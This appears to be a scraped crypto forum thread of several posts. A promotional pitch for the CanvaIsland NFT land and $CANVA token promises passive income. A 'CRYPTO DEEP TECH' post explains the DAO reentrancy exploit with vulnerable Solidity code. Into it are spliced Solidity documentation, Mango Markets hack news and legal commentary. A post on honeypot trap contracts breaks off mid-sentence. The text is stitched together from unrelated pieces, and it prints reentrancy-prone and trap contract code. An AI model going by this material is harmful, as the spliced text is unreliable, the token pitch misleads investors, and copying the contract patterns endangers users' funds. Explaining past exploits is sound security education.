land, the owners will gradually receive different benefits (PFP, tokens, NFT avatars of characters, access to a private chat to manage the development of the island and more) Lake Island (soon) There are second Island in CanvaIsland Metaverse with 1024 unique NFT-land sectors on the Ethereum network. These sectors make investment sense for creating a base and developing our metaverse. After the land acquisition, the owners will gradually receive various benefits. The function of minting land sectors and the launch of the island will be in the near future. Follow the announcements on our social networks. Benefits for NFT-land owners: Possibility of construction of different buildings, objects Participation in unique quests for land owners Access to NFT staking and other pools (Soon) Passive income from land ownership (Soon) Creation and implementation of quests on the own territories Extraction of various resources (Soon) Access to land owners chat (Soon) Ability to sell NFT-land through our NFT marketplace, Open Sea or any other platforms Holding quests in own territories Creating own business by your own rules Investment model for NFT land owners. We encourage users to grow the Canva Island metaverse and so all land owners can use NFT-staking to earn $CANVA tokens. Land sectors are divided into levels and have different investment meanings. About $CANVA token (Fair Launch soon) $CANVA is an ERC-20 token built on the Ethereum blockchain. It is the main utility token in our progressive ecosystem. $CANVA token is used in our metaverse, mobile wallet, as well as for buying NFT, staking and more. $CANVA has a stable economic model and deflationary mechanism. LP lock for 365 days. 900 million tokens minting by blocks Canva is not traded yet. Fair Launch soon. Check Announcements in official channel CANVA tokenomics Burning mechanism: Initial NFT avatars sales 50% of the funds from the initial sale of NFT Avatars will be used to buy back and burn Initial NFT lands sales 50% of the funds from the initial sale of NFT Lands will be used to buy back and burn. Harvest fee 50% of the harvest fee will be sent to the burn address Canva wallet fees 100% of collected comissions from Canva Wallet will be sent to the burn address Early unstaking fee 50% of the collected early-unstaking commissions will be sent to the burn address CANVA Utility: CANVA token holders can generate passive income by staking their tokens in the staking pools and receive rewards in return - See Staking pools. CANVA token can be used in Canva Island metaverse ecosystem CANVA token is used to buy game objects CANVA token can be used for NFT minting with discounts CANVA token holders can participate in the platform’s governance by proposing and voting for changes.(DAO) CANVA token allows you to save on Canva Wallet fees CANVA token allows you to participate in our Launchpad projects (soon) CANVA token is used to improve in-game items (soon) And much more to come Canva staking pools Canva Island Pools is a less resource-intensive alternative to mining. It lets you use your tokens to earn more tokens, for free and without limits. Simply put in pool your cryptocurrency to receive rewards. From the very beginning, a user could stake only $CANVA tokens in exchange for more $Canva. Later, there are more opportunities, our users can stake other tokens in exchange for $CANVA Referral program Canva Island Referral Program allows you to invite friends and earn 10% commission from their friends earnings on Staking Pools Canva wallet Canva crypto-wallet is designed with the latest technology to ensure that your assets are secure and always accessible. Buy, sell, send, receive, and trade the most widely used ERC-20 tokens. Connect instantly to DApps. Earn interest, trade using decentralized exchanges, participate in NFT marketplaces and more. Canvaisland Community Telegram Announcements Channel Twitter ️ Discord
  22. CRYPTO DEEP TECH In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended. This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO. A Multi-Stage Attack This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds. Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em): function splitDAO( uint _proposalID, address _newCurator ) noEther onlyTokenholders returns (bool _success) { ... // XXXXX Move ether and assign new Tokens. Notice how this is done first! uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once throw; ... // Burn DAO Tokens Transfer(msg.sender, 0, balances[msg.sender]); withdrawRewardFor(msg.sender); // be nice, and get his rewards // XXXXX Notice the preceding line is critically before the next few totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO paidOut[msg.sender] = 0; return true; } The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO. How does the DAO decide how many tokens to move? Using the balances array of course: uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time. The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable throw; paidOut[_account] += reward; return true; } If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called: function payOut(address _recipient, uint _amount) returns (bool) { if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) throw; if (_recipient.call.value(_amount)()) { // XXXXX vulnerable PayOut(_recipient, _amount); return true; } else { return false; } Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked! That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array. And so it goes: Propose a split and wait until the voting period expires. (DAO.sol, createProposal) Execute the split. (DAO.sol, splitDAO) Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy) Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut) While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient()) The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO) Back to (5)! Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-). (Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely) Armed with this, we can provide a step by step re-trace of how The DAO got emptied out. Step 1: Proposing the Split The first step towards all of the above is to simply propose a regular split, as we’ve mentioned. The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”. Because of this line: // The minimum debate period that a split proposal can have uint constant minSplitDebatePeriod = 1 weeks; he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right? Step 2: Getting the Reward As was neatly explained in one of slock.it’s previous posts on the matter, there are no rewards for the DAO to give out yet! (because no rewards were generated). As we mentioned in the overview, the critical lines that need to run here are: function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) // XXXXX throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; paidOut[_account] += reward; return true; } If the hacker could get the first marked line to run, the second marked line will run the default function of his choosing (that calls back to splitDAO as we described previously). Let’s deconstruct the first if statement: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) The balanceOf function is defined in Token.sol, and of course does exactly this: return balances[_owner]; The rewardAccount.accumulatedInput() line is evaluated from code in ManagedAccount.sol: // The sum of ether (in wei) which has been sent to this contract uint public accumulatedInput; Luckily accumulatedInput is oh so simple to manipulate. Just use the default function of the reward account! function() { accumulatedInput += msg.value; } Not only that, but because there is no logic to decrease accumulatedInput anywhere (it tracks the input the account has gotten from all the transactions ever), all the attacker needs to do is send a few Wei to the reward account and our original condition will not only evaluate to false, but its constituent values will evaluate to the same thing every time it’s called: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) Remember that because balanceOf refers to balances, which never gets updated, and because paidOut and totalSupply also never get updated since that code in splitDAO never actually executes, the attacker gets to claim their tiny share of the reward with no problems. And because they can claim their share of the reward, they can run their default function and reenter back to splitDAO. Whoopsie. But do they actually need to include a reward? Let’s look at the line again: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) What if the reward account balance is 0? Then we get if (0 < paidOut[_account]) If nothing has ever been paid out, this will always evaluate to false and never throw! Why? The original line is equivalent, after subtracting paidOut from both sides, to: if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account] < 0) where that first part is actually how much is being paid out. So the check is actually: if (amountToBePaid < 0) But if amountToBePaid is 0, the DAO pays you anyway. To me this doesn’t make much sense — why waste the gas in this manner? I think this is why many people assumed the attacker needed a balance in the reward account to proceed with the attack, something they in fact did not require. The attack works the same way with an empty reward account as with a full one! Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0. Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust. Step 3: The Big Short A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit. It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely. Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to. Step 3a: Preventing Exit (Resistance is Futile) Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds. Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own. Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment. Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed. Step 4: Executing the Split So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d. The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there). Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there. Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article. In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis. Step 4a: Extending the Split This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account. Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO: function splitDAO( .... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; } So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function: function transfer(address _to, uint256 _amount) noEther returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; ... By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration. The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary. Was 1.1 Vulnerable? Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes. Check out the updated function (especially the marked lines): function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; paidOut[_account] += reward; // XXXXX if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; return true; } Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line: uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to _recipient.call() Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance. Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits. An Important Takeaway I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended. In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy. I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable. For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one. Solidity Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state. Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section. Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features. With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets. When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change. Warning Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`. Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details. Hint You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format. Getting Started 1. Understand the Smart Contract Basics If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following: :ref:`A simple example smart contract <simple-smart-contract>` written in Solidity. :ref:`Blockchain Basics <blockchain-basics>`. :ref:`The Ethereum Virtual Machine <the-ethereum-virtual-machine>`. 2. Get to Know Solidity Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language. 3. Install the Solidity Compiler There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`. Hint You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally. Warning As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section. 4. Learn More If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks. If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel. Translations Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference. You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language. Chinese French Indonesian Japanese Korean Persian Russian Spanish Turkish Note We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations. Contents Basic concepts To start off, keep in mind that in Ethereum there are two types of accounts: (i) externally owned accounts controlled by humans and (ii) contract accounts controlled by code. This is important because only contract accounts have associated code, and hence, can have a fallback function. In Ethereum all the action is triggered by transactions or messages (calls) set off by externally owned accounts. Those transactions can be an ether transfer or the triggering of contract code. Remember, contracts can trigger other contracts’ code as well. Smart contracts are written in high-level programming languages such as Solidity but for those contracts to be uploaded on the blockchain, they need to be compiled into bytecode, a low-level programming language executed by the Ethereum Virtual Machine (EVM). Said bytecode can be interpreted with opcodes. When a contract calls or sends money to another contract that code compiles in the EVM bytecode, invoking the call function. But, there is a difference: When calling another contract the call function provides specific function identifiers and data, however, when sending money to another contract, the call function has a set amount of gas but no data (case b below), and thus, triggers the fallback function of the called contract. The attack The fallback function abuse played a very important role in the DAO attack. Let’s see what a fallback function is and how it can be used for malicious purposes. Fallback function A contract can have one anonymous function, known as well as the fallback function. This function does not take any arguments and it is triggered in three cases [1]: a. If none of the functions of the call to the contract match any of the functions in the called contract b. When the contract receives ether without extra data c. If no data was supplied Example The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO. The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows: The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack). The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable. In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated. One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished. The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract. Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet. The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it. Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt. The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal. “We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief. On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury. The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject. The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency. The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether. So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist. Though it is not entirely certain yet how the money has been stolen, it appears that the hacker exploited a programing mistake in the code of the DAO. Weaknesses in the code had already been highlighted before and experts in the field had already called to fix critical problems. At this point it is important to recall that as a blockchain-enabled organization, the DAO is completely transparent and everything is done by the code, which anyone can see and audit. So, it seems that what happened – in a very simplified way – was that the hacker sent repeated transaction request to transfer funds to a DAO clone. Because of the programming error, the system possibly did not immediately update the balance, allowing the attacker to drain the account. Since then the discussion has been how to respond to the attack. In an initial response, Vitalik Buterin, one of Ethereum’s founders, publicly asked online currency exchanges to suspend trading of ether and DAO tokens as well as deposits and withdrawals of the cryptocurrency. Because of a restriction in the code pay-outs are delayed for at least one week, possibly even longer, the hacker will not be able to access the funds and give The DAO community some time. Several options are currently discussed: The community could decide to do nothing, preserve the system and let the DAO token holders loose their investment. Or the so-called “hard-fork” where the Ethereum community could decide to roll back all transactions to a specific point in time before the attack. Or the network could be updated to ensure that all transactions from the hacker’s ether address are blocked, basically freezing the account and trying to exploit a similar programing error to “steel” the money back since the DAO clone is likely to contain the same code structure that made the original attack possible. Regardless which course is decided on, what are the likely consequences for the DAO, Ethereum and the Blockchain in general after this incident? Stephen Tual, COO of Slock.it, the company that had worked on the development of The DAO, stated that The DAO is definitely going to close. Whether that is the case is to be seen as in a leaderless organization no one person alone can decide on the fate of the organisation. The future of the investment vehicle is cast into serious doubt in any case by the theft itself, as it is questionable whether anyone would put money in a construction that has a proven vulnerability even when its makers promise to fix the issues. Trust, after all, is relevant even for a trustless concept when it comes to money. The more damaging aspect for the DAO, but also for Ethereum and potentially even the blockchain technology lies potentially in the actions to get the ether back. In comments across the web it has been compared with a bailout for banks that are too big to fail and that investors simply didn’t understand the risks of their investments. If the system is supposed to be flawless and save against tempering, isn’t meddling with it because of an, albeit very significant and expensive, programming error, undermining the whole idea? If people decide on whether transactions are to be reversed or not instead of the underlying smart contract, what is the worth of such an instrument if it’s only useful if anything goes according to plan? Regardless what happens next it is an immensely important case as well from a legal and regulatory perspective: One tweet even hinted that a short bet on Ether was placed on one cryptocurrencies exchange shortly before the attack, which reminds us that traditional regulatory aspects like Market Abuse are more than relevant in the digital age. The tweet demanded an investigation though that raises the interesting questions about jurisdiction, governing legal frameworks and regulation, but that is only a side aspect to the story for now (though it would make sense from an economical perspective since the thief is unlikely to be able to access the Ether he stole and in that way could gain a monetary benefit from the heist). In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law. And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action. Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second. So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all. Literature: Understanding a Revolutionary and Flawed Grand Experiment in Blockchain: The DAO Attack Journal of Cases on Information Technology Conclusion I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security GitHub Telegram: https://t.me/cryptodeeptech Video: https://youtu.be/-QDYiKCwOaA Source: https://cryptodeeptech.ru/dao-exploit Криптоанализ
  23. CRYPTO DEEP TECH Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker. Let’s look at a couple different real world examples: pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } } In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract. pragma solidity ^0.4.19; contract Gift_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) external payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } } This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash(), SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log. You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could. A safer method the attacker should have used would have been to check the contract storage with a security analysis tool. Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAO, Parity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons: Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it 